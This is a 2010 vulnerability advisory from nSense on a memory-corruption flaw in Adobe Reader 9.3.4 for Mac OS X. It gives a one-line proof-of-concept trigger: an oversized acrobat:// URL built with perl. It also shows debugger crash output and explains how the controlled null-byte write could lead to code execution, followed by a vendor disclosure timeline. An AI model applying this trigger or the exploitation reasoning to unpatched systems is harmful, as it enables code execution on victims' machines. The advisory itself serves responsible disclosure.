nSense Vulnerability Research Security Advisory NSENSE-2010-001 --------------------------------------------------------------- Affected Vendor: Adobe Affected Product: Adobe Reader 9.3.4 for Macintosh Platform: OS X Impact: User assisted code execution Vendor response: Patch Credit: Knud / nSense Description: Adobe Acrobat and Reader are prone to a remote code-execution vulnerability. Attackers can exploit this issue to execute arbitrary code in the context of the user running the affected application. Adobe Reader and Acrobat versions prior to and including 9.3.4 and 8.2.4 are affected. NOTE: This issue only affects Adobe Reader and Acrobat running on Apple Mac OS X Technical details --------------------------------------------------------------- terminal 1: $ gdb --waitfor=AdobeReader terminal 2: $ open acrobat://`perl -e 'print "A" x 12000'` terminal 1: (gdb) cont [snip] Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_INVALID_ADDRESS at address: 0xc00013d2 0x7ffa0d6a in AcroBundleThreadQuitProc () (gdb) set disassembly-flavor intel (gdb) x/i $pc 0x7ffa0d6a <AcroBundleThreadQuitProc+2608>: mov BYTE PTR [ebp+eax-0x420],0x0 (gdb) i r ebp eax ebp 0xbfffe908 0xbfffe908 eax 0x2eea 12010 (gdb) As can be seen from the above, we control the value in eax (in this case 12010, the length of the acrobat:// + the 12000 A's). This allows us to write the null byte anywhere in memory between ebp-0x420 (0xBFFFE4E8) and the end of the stack. The behaviour may be leveraged to modify the frame pointer, changing the execution flow and thus permitting arbitrary code execution in the context of the user running the program. Timeline: Aug 10th Contacted vendor PSIRT Aug 10th Vendor response. Vulnerability reproduced. Aug 16th Status update request sent to vendor Aug 17th Vendor response, still investigating Sep 2nd Status update request sent to vendor Sep 3rd Vendor response. Working on fix Sep 22nd Contacted vendor regarding patch date Sep 22nd Vendor response. Confirmed patch date. Sep 23rd Corrected researcher name Oct 1st Vendor sent CVE identifier CVE-2010-3631 Oct 5th Vendor releases the patch Oct 6th Advisory published http://www.nsense.fi http://www.nsense.dk $$s$$$$s. ,s$$$$s ,S$$$$$s. $$s$$$$s. ,s$$$$s ,S$$$$$s. $$$ `$$$ ($$( $$$ `$$$ $$$ `$$$ ($$( $$$ `$$$ $$$ $$$ `^$$s. $$$$$$$$$ $$$ $$$ `^$$s. $$$$$$$$$ $$$ $$$ )$$) $$$ $$$ $$$ )$$) $$$ $$$ $$$ ^$$$$$$7 `7$$$$$P $$$ $$$ ^$$$$$$7 `7$$$$$P D r i v e n b y t h e c h a l l e n g e _